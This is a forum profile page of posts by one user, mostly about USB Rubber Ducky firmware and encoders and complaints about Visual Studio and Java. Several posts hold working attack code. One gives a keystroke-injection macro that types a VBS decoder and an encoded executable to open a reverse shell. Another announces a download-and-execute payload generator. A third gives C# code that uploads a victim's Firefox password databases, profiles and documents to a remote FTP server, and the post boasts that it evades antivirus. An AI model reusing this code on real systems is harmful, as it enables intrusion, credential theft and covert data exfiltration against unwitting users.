Jump to content

ApacheTech Consultancy

Active Members
  • Posts

    131
  • Joined

  • Last visited

  • Days Won

    5

Posts posted by ApacheTech Consultancy

  1. Update: I've found something wrong with Visual Studio...

    ...Visual Studio 2012.

    It's unusable. It's horrible. I hate it. I hope Metro dies soon, and VS2012 dies along with it. I've literally now only just installed it and Microsoft have destroyed the best IDE on the market. It's vile. They destroyed Windows with Windows 8 and now they've destroyed VS with VS2012. Metro is the single worst mistake Microsoft have ever made and I hope it hurts them badly enough for them to ditch the whole stupid, useless and idiotic project.

    Stay away from VS2012 at all costs until someone can fix this utterly broken, piss-poor excuse for software.

    *sadface*

    R.I.P. Visual Studio. You will be sorely and bitterly missed.

  2. How many lines depends on the length of the line. You have 2048 bytes. Each character is a byte. Also, DELAY takes up bytespace as well. Also, remember that 2049 bytes won't work, if the file says 2KB, make sure it is exactly 2KB. 2047 bytes will read as 1KB.

    If, when you put the duck into the PC, NUM_LOCK is enabled, inject.bin will fire.

    If, when you put the duck into the PC, CAPS_LOCK is enabled, inject2.bin will fire.

    Take the Duck out and replace it if you want the other script to trigger.

  3. It's probably better to future-proof as early as possible. I'd go with a full rebuild because if there are breaking changes in the latest version, they will affect any subsequent versions as well. Develop it over time though; the firmwares we have out now will suffice for almost all purposes. Any new features that the new Amtel version can bring will be useful and will aid development in the future. We don't want to be stuck with legacy code which hinders development.

  4. To be pedantic; HTML, PHP, JavaScript and CSS are not programming languages. They are scripting languages.

    Syntactically, VB.NET is probably the easiest programming language to pick up, and (more or less) converts straight to C# when you're ready to learn that. If you're already familiar with the C-style syntax (PHP, JavaScript), maybe go straight for C#.

    Visual Studio is the best IDE I've ever used; it's massively extensible, extremely friendly for beginners and experts alike. It is miles ahead of every single other IDE I've come across. You can use it for C, C++,C#, VB, VB.NET, F#, Java, Arduino, Python, Perl, PHP, HTML, CSS, JavaScript and more. For web development it comes with it's own dedicated test server with a full debugging platform. There's nothing I can really say bad about it.

  5. Seeming as though Java is supposed to be a OOP-centric language, it is utterly terrible when it comes to handling objects. Some of even the most basic operations are either impossible, only available through reflection (which should be used as a last resort according to programming best practice), or horrendously long-winded and convoluted. There's no such thing as a delegate, or a predicate; their idea of lambda expressions is laughable; you can't even cast between a generic collection and an array of the same type! I've only been programming in Java for a week and already I despise it!

    I don't mind writing my own helper or wrapper classes, so long as the basic tools are available to use them in an elegant way. Anonymous inner classes are ugly and pale in comparison to anonymous methods and block initialisers. The way they handle properties is ugly as well. I miss simple tools like typeof. Why don't ArrayLists come with a top-level iterator? Why can't overloaded methods have different return types? Why can't you cast between a generic list of a type and an array of the same type? Why can't you declare method signatures as types? Grr!

    Silly Java!

    *launches Visual Studio and breathes a sigh of relief*

    Don't worry VS, I'll never leave you. I missed you so much!

  6. Java might be the way to go with malicious payloads tbh. They're rarely blacklisted by corporate firewalls; they're not on the standard executable blacklist; they're not included in any real-time scanning of exectutables by AV; they have their own manifests in them to elevate authorisation; they are cross platform; they're archives in their own right so can be used as "trojan" zip files; they're modular and can replicate on command; they download their own dependecies.

    Theoretically, because a car's onboard computer runs off Java; if you have a new car with a USB port on the dash, you could create a JAR attack to reset your milometer; or as a security device which totally bricks the car overnight, then flashes the ROM when you want to drive away in the morning.

  7. If you want to run a cross-platform program, it would be best written as a Java JAR file. Then, all your worried about is do they have Java installed.

    But, even then, the execution of that file will be different on each OS. cmd vs. term vs. whatever it is for mac (???) etc.

    At the moment, there's not a firmware which can detect the OS and run a script based on that detection. Until then, you're best off directing each script towards a specific OS.

  8. So, you didn't have script.txt in the same directory as encoder.jar? You do need to fully qualify the path to the input file; there's no "default" input file at this time. If using duckling macros, you don't need to have the .txt script in the ducklings subdirectory, it will work from any directory, so long as it's qualified (absolute or relative).

    The ducklings are imported with an "all or nothing" approach. if they're not imported properly, the program will exit with an error.

  9. Try running it through the Duck Encoder v2.4, available in the stickies. If it works on that then please give feedback. The new release has been greatly altered since that one, it would be good to know if I've broken anything. Can you post the actual text file you are trying to encode?

    Can you also please run the faulty code in debug mode and post the resulting stack trace? A screenshot will suffice if you can't cut and paste.

    java -jar encoder.jar -i script.txt --debug
    
  10. What is a Duckling?

    New to Duck Encoder v3.0.0, Ducklings are JAR files full of stored procedures or macros which can make writing DuckyScripts a lot easier and more streamlined. They are housed within the "ducklings" sub-directory, wherever your encoder is installed.

    Ducklings use a similar syntax to regular DuckyScript, but introduce a new prefixed namespace for each Duckling:

    NAMESPACE::COMMAND arguments


    The namespace for each duckling will be described within its documentation, and can be found be executing the .duckling.jar file. This will also list all the syntax available within the duckling, as well as details about the author, version and so forth.

    java -jar SamplePack.duckling.jar
    


    Ducklings are currently in open beta until we gain enough feedback to confirm they are stable. Please help us with this task and send us your feedback.

    So, how do they work?

    Ducklings work by resolving a single line entry into a multi-line script snippet, inline with where it needs to be in the code. It is possible to use multiple ducklings within the same script, it is even possible to nest duckling macros inside each other, so long as all dependency files are available when the script is encoded.

    The main limitation is that the REPEAT command will merely repeat the last line of the stored procedure, not the macro itself. This will hopefully be resolved in a later version, once the Ducklings are known to be fully stable.

    Within the SamplePack.duckling.jar included within the v3.0.0 release of the encoder, there is a single macro called "HELLOWORLD", and the namespace for the Duckling is "SAMPLE". To use this within a script, we use the new namespacing syntax:

    SAMPLE::HELLOWORLD It Works! :D
    


    This is then translated, inline, into the following script when it is encoded:

    STRING Hello World!
    STRING You Wrote: It Works! :D
    


    Obviously, this is only a very basic example, but pretty much any payload can be stored within a duckling and executed using a single line.

    Example:

    REM Runs a Remote Shell to 192.168.1.7 on port 2600.
    WINNET::RSHELL host 192.168.1.7 sap 2600
    

    How do I create my own Duckling?

    The source code for the ducklings is available here:

    Zip: http://ducky-decode.googlecode.com/files/SamplePack.duckling.zip (7ac17bc509334fb92b8f5b8e193a9b822b7b31ca)
    Svn: http://code.google.com/p/ducky-decode/source/browse/#svn/trunk/Ducklings/v1/SamplePack.duckling

    A basic knowledge of Java (or at least C-style syntax) is needed until a generator is developed. The source code is relatively self-explanatory, I created the ducklings from scratch after only four days of ever coding in Java, so it's not overly complicated at all.

    The only files we're interested in are the Duckling.java file and the Main.java.

    Duckling.java:

    First, we need to set the namespace for the duckling:

    /**
    * TODO: Set the namespace for the duckling.
    */
    private String mNamespace = "WINNET";
     


    Then, declare a new macro and add it to the macro list.

        /**
         * TODO: Declare and initialise your macros.
         */
        private void InitialiseMacros() {
    
            /**
             * TODO: Declare each macro in turn and add it to the dictionary.
             */
            Macro RemoteShell= new Macro("RSHELL", "host-ip port-number");
            RemoteShell.setDescription("Opens a remote shell to a given ip address on a specific port.");
            HelloWorld.setScript("DELAY 600\n"
                                + "ESCAPE\n"
                                + "ESCAPE\n"
                                + "DELAY 400\n"
                                + "WINDOWS R\n"
                                + "DELAY 400\n"
                                + "STRING cmd\n"
                                + "DELAY 400\n"
                                + "ENTER\n"
                                + "DELAY 400\n"
                                + "STRING copy con c:\\decoder.vbs\n"
                                + "ENTER\n"
                                + "STRING Option Explicit:Dim arguments, inFile, outFile:Set arguments = WScript.Arguments:inFile = arguments(0)\n"
                                + "STRING :outFile = arguments(1):Dim base64Encoded, base64Decoded, outByteArray:dim objFS:dim objTS:set objFS = \n"
                                + "STRING CreateObject(\"Scripting.FileSystemObject\"):\n"
                                + "ENTER\n"
                                + "STRING set objTS = objFS.OpenTextFile(inFile, 1):base64Encoded = \n"
                                + "STRING objTS.ReadAll:base64Decoded = decodeBase64(base64Encoded):writeBytes outFile, base64Decoded:private function \n"
                                + "STRING decodeBase64(base64):\n"
                                + "ENTER\n"
                                + "STRING dim DM, EL:Set DM = CreateObject(\"Microsoft.XMLDOM\"):Set EL = DM.createElement(\"tmp\"):\n"
                                + "STRING EL.DataType = \"bin.base64\":EL.Text = base64:decodeBase64 = EL.NodeTypedValue:end function:private Sub \n"
                                + "STRING writeBytes(file, bytes):Dim binaryStream:\n"
                                + "ENTER\n"
                                + "STRING Set binaryStream = CreateObject(\"ADODB.Stream\"):binaryStream.Type = 1:\n"
                                + "STRING binaryStream.Open:binaryStream.Write bytes:binaryStream.SaveToFile file, 2:End Sub\n"
                                + "ENTER\n"
                                + "CTRL z\n"
                                + "ENTER\n"
                                + "STRING copy con c:\\reverse.txt\n"
                                + "ENTER\n"
                                + "STRING TVprZXJuZWwzMi5kbGwAAFBFAABMAQIAAAAAAAAAAAAAAAAA4AAPAQsBAAAAAgAAAAAAAAAA\n"
                                + "ENTER\n"
                                + "STRING AADfQgAAEAAAAAAQAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAFAAAAACAAAAAAAA\n"
                                + "ENTER\n"
                                + "STRING AgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA20IAABQAAAAAAAAAAAAAAAAA\n"
                                + "ENTER\n"
                                + "STRING AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n"
                                + "ENTER\n"
                                + "STRING AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATUVXAEYS\n"
                                + "ENTER\n"
                                + "STRING 0sMAMAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4AAAwALSdduKFuvUABAAAABAAADvAgAA\n"
                                + "ENTER\n"
                                + "STRING AAIAAAAAAAAAAAAAAAAAAOAAAMC+HEBAAIvera1QrZeygKS2gP8Tc/kzyf8TcxYzwP8TcyG2\n"
                                + "ENTER\n"
                                + "STRING gEGwEP8TEsBz+nU+quvg6HI+AAAC9oPZAXUO/1P86yas0eh0LxPJ6xqRSMHgCKz/U/w9AH0A\n"
                                + "ENTER\n"
                                + "STRING AHMKgPwFcwaD+H93AkFBlYvFtgBWi/cr8POkXuubrYXAdZCtlq2XVqw8AHX7/1PwlVatD8hA\n"
                                + "ENTER\n"
                                + "STRING WXTseQesPAB1+5FAUFX/U/SrdefDAAAAAAAzyUH/ExPJ/xNy+MOwQgAAvUIAAAAAAAAAQEAA\n"
                                + "ENTER\n"
                                + "STRING MAFAAAAQQAAAEEAAaBwGMkAHagHoDnw4VQzoQgLIFTiean446lMMelAsFnRBMP0Bv1WysTNq\n"
                                + "ENTER\n"
                                + "STRING kQIGsnxVmiejeINmxwVke0+mOGe8XVBmlD05ZqNofmRmfiF9i3MM2QpqaJQtoTp6b0gV6kwF\n"
                                + "ENTER\n"
                                + "STRING EVBkkBBNRFWRFDxAeGooEGhdKP81MHTopJ5RVFWhVY2/bg4KCJAiC+FRFOgfgUvD/yUkILtv\n"
                                + "ENTER\n"
                                + "STRING KhwGQxghFL3DIghxzAFVi+yBxHz+/4hWV+hgrN2JRfwzHcmLdX44PB10Bx4iQPdB6/RR0XLp\n"
                                + "ENTER\n"
                                + "STRING AOFYO8F0C19eMLgDucnCCOGGSY29PHDlQyoJzy/gArAgqutz8iiNhRU5i/A2+DMqM+sbiwNm\n"
                                + "ENTER\n"
                                + "STRING MgfvImUgTf4iEeEoLe2UCIO53LcwS3T7OzpNCKgVWWUdZwpME0EdDxTr5qoNNgcZhzj0sH/A\n"
                                + "ENTER\n"
                                + "STRING VXMRi30Mxhe4An+CohOdaLCgWDQzDUYN5tH34f5Yo+7nRLsfFqnOEQTeVQE81BTUDhszwE7s\n"
                                + "ENTER\n"
                                + "STRING hwtw0ooGRj08ArMSDvffkOsLLDAZjQyJBkiDLQrAdfHoBBEzUcI44jCDxAf0avXoaQkZSf+9\n"
                                + "ENTER\n"
                                + "STRING gqogC9Aqk3U3+FAinSmGBvzoTS9oiyQ45lMaDwiNUAMhGIPABOP5//6AAvfTI8uB4USAdHzp\n"
                                + "ENTER\n"
                                + "STRING bMEMYHV3BvQQwEAC0OEbwlFbOkfESRnKDFcGCDAAADBAAGMwbWQAZj9AABQ4IEADd3MyXzOY\n"
                                + "ENTER\n"
                                + "STRING LmRs48CAZwdldGhvc0BieW5he23PHmOePPfr/w4SV1NBXc9hckZ1cBh5aMoscxNPJmNrYu/B\n"
                                + "ENTER\n"
                                + "STRING /7gDbJUacspebEzHV9NpdPNGp7yRR8NMQ29tiGFuZDZMaURifoB2cvudOlC3gudzFUFYIcBk\n"
                                + "ENTER\n"
                                + "STRING SNBDL2AAAAAAAGY/QABMb2FkTGlicmFyeUEAR2V0UHJvY0FkZHJlc3MAAAAAAAAAAAAAAAAA\n"
                                + "ENTER\n"
                                + "STRING AAxAAADpdL7//wAAAAIAAAAMQAAA\n"
                                + "ENTER\n"
                                + "CTRL z\n"
                                + "ENTER\n"
                                + "STRING cscript c:\\decoder.vbs c:\\reverse.txt c:\\reverse.exe\n"
                                + "ENTER\n"
                                + "STRING c:\\reverse.exe %s %s\n"
                                + "ENTER\n"
                                + "STRING exit\n"
                                + "ENTER\n"
            this.MacroList.put("RSHELL", RemoteShell);
        }
    

    The arguments ([host-ip] and [port-number]) are put in place using the standard Java %s string substitution method. Make sure your arguments go in order of where your %s placeholders are within the script. Within the initialiser, the arguments are only for the documentation, but their order is vitally important.

    As the ducklings develop, more features will be added, but due to their structure and the development process they will go though, I'm afraid we cannot guarantee any backwards compatibility between subversions of the duckling source.

    Main.java:

    Here, all we need to change is the personal information about the duckling.

        private static String Title = "Windows Network and Internet Tools";
        private static String Version = "1.0.0.a";
        private static String Author = "Apache - ApacheTech Consultancy";
    

    Then just export the project as a runnable JAR file (the procedure differs on various IDEs) and you're done.

    Again, please let us know your feedback and any suggestions you may have for development.

    Developer Info:

    Duckling Development Stage: Open Beta
    Duckling Factory Development Stage: Pre-Alpha

  11. I use the TwinDuck v2.1 firmware at the moment. While I'm developing, it's nice to have the Pen Drive access so I'm not constantly swapping drives. Just load a new inject.bin and press the button.

    I'm waiting for the MultiDuck firmware to come out, I'd like the TwinDuck and MultiplePayloadDuck firmwares to be combined, giving UMD access and four possible scripts to run.

    Any v2+ firmware is compatible with the latest hardware. You may find difficulty running some of the latest scripts on the v1 and stock. There's a noted speed increase as well with the v2 over the v1 when running it as a USB Pen Drive.

  12. There's a sticky thread (http://forums.hak5.org/index.php?/topic/28254-tutorial-re-flashingupgrading-the-ducky-winxp-32bit/) that tells you everything you need to know about this.

    It includes a link to the dev site to download (and view information about) the various firmwares.

    Firmware to Support HID on Windows, Linux, Mac OS X, Android & IOS

    Firmware to Support Mass Storage (acts like USB Drive)

    Firmware to Support Multiple Payloads in HID mode (Triggers via Keyboard LEDs)

    Firmware Composite Device; Mass Storage & Keyboard,Language Independent

  13. I ended up using 0MQ (http://zguide.zeromq.org/page:all), which makes it wonderfully easy to create various forms of message queues. I'm using the Pub/Sub pattern over TCP on port 2600.

    ZMQ.Context context = new ZMQ.Context(1);
    ZMQ.Socket publisher = context.Socket(ZMQ.SocketType.PUB);
    publisher.Bind("tcp:\\*:2600"); \\ Or publisher.Bind(ZMQ.Transport.TCP, "*", 2600);
    publisher.Send("Hello World!", Encoding.Unicode);
    

    The library works in the following languages:

    C++ | C# | Clojure | CL | Delphi | Erlang | F# | Felix | Go | Haskell | Haxe | Java | Lua | Node.js | Objective-C | Perl | PHP | Python | Racket | Ruby | Scala | Tcl | Ada | Basic | ooc | Q
    It's one of the most versatile libraries I've ever seen. :D
  14. The step by step instruction guide is easy to follow. Not idiot proof, but it's a good guide. I'd never done anything like it before and it worked first time. So far as I know, it's nigh on impossible to brick the duck. So long as you follow the guide to the letter, you should be fine. Read the guide first, download all the gear you need and set it all up ready to go. If you feel even semi confident about it, go for it. We're here to assist if you need, but trying it for yourself first will greatly increase your confidence and competence with the hardware itself.

  15. The TwinDuck firmware allows you to use the Duck as a Mass Storage Device, as well as a HID. There is a step by step guide to flashing your duck with the new firmware in the Stickies on the forum.

    Which duck are you using currently, i.e. what colour is the board? This will give us an indication of which stock firmware you are currently using. It is possible that commands which have either been added or depreciated are causing errors with your compiler. If you use the TwinDuck Firmware, make sure you use the latest versions of the compiler and make sure your Java files are up to date (or at least Java 1.7.0). This will give you the best chance of completion.

  16. Version:

    1.0.0.0 (Initial Release).

    Architecture:

    Windows 32bit (should work on 64bit, but untested).

    Usage:

    Enter URL of the executable file, click generate and choose the output folder.

    Output:

    inject.bin payload file, in a chosen directory.

    Written By:

    Apache


    Copyright:

    ApacheTech Consultancy, 2013.


    License:

    OPEN SOURCE FREEWARE. Permission granted for reproduction.
    Please give credit where credit is due.

    Acknowledgements:

    George Cost: http://www.4shared.com/u/VMsAhm-b/whoknows.html
    Un4seen: http://www.un4seen.com/

    Mubix: http://forums.hak5.org/index.php?/topic/25177-payload-powershell-downloadexecute/#entry193195
    Alex Aza: http://stackoverflow.com/questions/6317457/error-while-reading-embedded-resource-into-byte-array-c/6317469#6317469

    HashInfo:

    # MD5 checksums generated by MD5summer (http://www.md5summer.org)
    # Generated 01/03/2013 15:02:13

    ba2bfd8b5f53a44b86e6fe540ac4c89e *WgetAndExecuteScriptGenerator.rar

    Download (Source and Binaries):

    WgetAndExecuteScriptGenerator.rar

  17. The FTP Wrapper class I'm using is here: http://netftp.codeplex.com/releases/view/95632

    The main bulk of the program is written using Extension Methods. These are the main ones. Please excuse the lack of annotation.

    using System;
    using System.IO;
    using System.Windows.Forms;
    using Ftp = System.Net.FtpClient;
    
    namespace ffe
    {
        public static class ExtensionsMethods
        {
            public static Ftp.FtpClient ftp = new Ftp.FtpClient()
            {
                Host = "REDACTED",
                Credentials = new System.Net.NetworkCredential("REDACTED", "REDACTED"),
                DataConnectionType = Ftp.FtpDataConnectionType.PASVEX,
            };
    
            public static string baseDir =
                String.Format(@"{0}/{1}", Environment.MachineName, Environment.UserName);
    
            public static string ToFtpPath(this String s, string basePath, string section)
            {
                return String.Format(@"{0}/{1}/{2}",
                    baseDir, section, s.Substring(basePath.Length).Replace(@"\", @"/"));
            }
    
            public static bool ExistsOnServer(this FileInfo f, string section, string basePath)
            {
                try
                {
                    ftp.Connect();
                    if (ftp.FileExists(f.FullName.ToFtpPath(basePath, section)))
                    {
                        return true;
                    }
                    else
                    {
                        return false;
                    }
                }
                catch (Exception)
                {
                    Application.Exit();
                    return false;
                }
                finally
                {
                    ftp.Disconnect();
                }
            }
    
            public static void Upload(this FileInfo f, string section, string basePath)
            {
                FileInfo ls; 
                { try { ls = f.LockSafe(); } catch (Exception) { return; } }
                if (ls.Length == 0) return;
                byte[] b = File.ReadAllBytes(ls.FullName);
                string rPath = f.FullName.ToFtpPath(basePath, section);
                string rDir = rPath.Substring(0, rPath.LastIndexOf("/"));
                try
                {
                    ftp.SetDataType(Ftp.FtpDataType.Binary);
                    { try { ftp.Connect(); } catch (Exception) { return; } }
                    if (!ftp.DirectoryExists(rDir)) { ftp.CreateDirectory(rDir); }
                    using (Stream o = ftp.OpenWrite(f.FullName.ToFtpPath(basePath, section)))
                    {
                        Console.Write(f.FullName.ToFtpPath(basePath, section) + " ..... ");
                        try
                        {
                            while (o.Position <= b.Length) { o.Write(b, 0, b.Length); }
                            Console.WriteLine("[ OK ]");
                        }
                        catch (Exception ex)
                        {
                            Console.WriteLine("[ FAILED ]");
                            Console.WriteLine("Error:" + ex.Message);
                        }
                    }
                }
                catch (Exception ex)
                {
                    Console.WriteLine("Error:" + ex.Message);
                }
                finally
                {
                    f.CleanLockSafe();
                    ftp.Disconnect();
                }
            }
    
            public static FileInfo LockSafe(this FileInfo file)
            {
                // Create a file stream.
                FileStream stream = null;
    
                try
                {
                    // Try to open the file.
                    stream = file.Open(FileMode.Open, FileAccess.ReadWrite, FileShare.None);
                }
                catch (IOException)
                {
                    // The file is unavailable because it is:
                    // Still being written to or is being processed by another thread.
                    file.CleanLockSafe();
                    File.Copy(file.FullName, file.FullName + ".ffe");
                    return new FileInfo(file.FullName + ".ffe");
                }
                finally
                {
                    if (stream != null)
                        stream.Close();
                }
    
                // File is not locked
                return file;
            }
    
            public static void CleanLockSafe(this FileInfo f)
            {
                if (File.Exists(f.FullName + ".ffe"))
                {
                    File.Delete(f.FullName + ".ffe");
                }
            }
        }
    }
    

    Then, just a very simple controller class for the victim.

    using System;
    using System.Collections.Generic;
    using System.Linq;
    using System.IO;
    using System.Net;
    
    namespace ffe
    {
        public static class Victim
        {
            public static bool IsOnline
            {
                get
                {
                    try
                    {
                        using (var client = new WebClient())
                        using (var stream = client.OpenRead("http://www.google.com"))
                        {
                            return true;
                        }
                    }
                    catch
                    {
                        return false;
                    }
                }
            }
    
            public static string Documents
            {
                get
                {
                    return Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + @"\";
                }
            }
            public static string Pictures
            {
                get
                {
                    return Environment.GetFolderPath(Environment.SpecialFolder.MyPictures) + @"\";
                }
            }
            public static string AppData
            {
                get
                {
                    return Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\";
                }
            }
            public static string FirefoxProfiles
            {
                get
                {
                    return Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)
                         + @"\Mozilla\Firefox\";
                }
            }
            public static string ProgramFiles
            {
                get
                {
                    return Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + @"\";
                }
            }
            public static string Downloads
            {
                get
                {
                    return Environment.GetFolderPath(Environment.SpecialFolder.UserProfile)
                        + @"\Downloads";
                }
            }
        }
    }
    

    And finally, the file lists themselves:

    using System.Collections.Generic;
    using System.IO;
    using System.Linq;
    
    namespace ffe
    {
        public static class FFE
        {
            public static List<FileInfo> MissionCriticalFileList
            {
                get
                {
                    // Gather a list of files.
                    List<FileInfo> tmpList = new List<FileInfo>();
                    string[] dirs = Directory.GetDirectories(
                        Victim.FirefoxProfiles, "*", SearchOption.TopDirectoryOnly);
                    foreach (string dir in dirs)
                    {
                        if (!dir.EndsWith("history"))
                        {
                            Directory.EnumerateFiles
                                (Victim.FirefoxProfiles, "*", SearchOption.AllDirectories).Where((p)
                                    => p.EndsWith("signons.sqlite")
                                    || p.EndsWith("key3.db")
                                    || p.EndsWith("cert8.db"))
                            .ToList<string>()
                            .ForEach((p) => tmpList.Add(new FileInfo(p)));
                        }
                    }
                    return tmpList;
                }
            }
    
            public static List<FileInfo> FullProfilesList
            {
                get
                {
                    // Gather a list of files.
                    List<FileInfo> tmpList = new List<FileInfo>();
                    string[] dirs = Directory.GetDirectories(
                        Victim.FirefoxProfiles, "*", SearchOption.TopDirectoryOnly);
                    foreach (string dir in dirs)
                    {
                        Directory.EnumerateFiles
                            (Victim.FirefoxProfiles, "*", SearchOption.AllDirectories).Where((p)
                                => (!p.Contains("minidumps")))
                            .ToList<string>()
                            .ForEach((p) => tmpList.Add(new FileInfo(p)));
                    }
                    return tmpList;
                }
            }
    
            public static List<FileInfo> Documents
            {
                get
                {
                    List<FileInfo> tmpList = new List<FileInfo>();
    
                    // Gather a list of the topmost directories.
                    string[] dirs = Directory.GetDirectories(Victim.Documents, "*",
                        SearchOption.TopDirectoryOnly);
    
                    // Cycle through each top layer directory.
                    foreach (string dir in dirs)
                    {
                        // If the folder is write-protected, skip it.
                        if (!dir.EndsWith("My Music")
                          & !dir.EndsWith("My Pictures")
                          & !dir.EndsWith("My Videos"))
                        {
                            // Add all files in all readable subdirectories to a list.
                            Directory.GetFiles(dir, "*.*", SearchOption.AllDirectories)
                                .ToList<string>()
                                .ForEach((p) => tmpList.Add(new FileInfo(p)));
                        }
                    }
                    return tmpList;
                }
            }
        }
    }
    

    Once you have all that, it's relatively self explanatory what goes where.

    FFE.FullProfilesList.ForEach((p) => p.Upload("Firefox", Victim.FirefoxProfiles));
    

    It's fully undetected on all of the online av scraper sites I've tried.

×
×
  • Create New...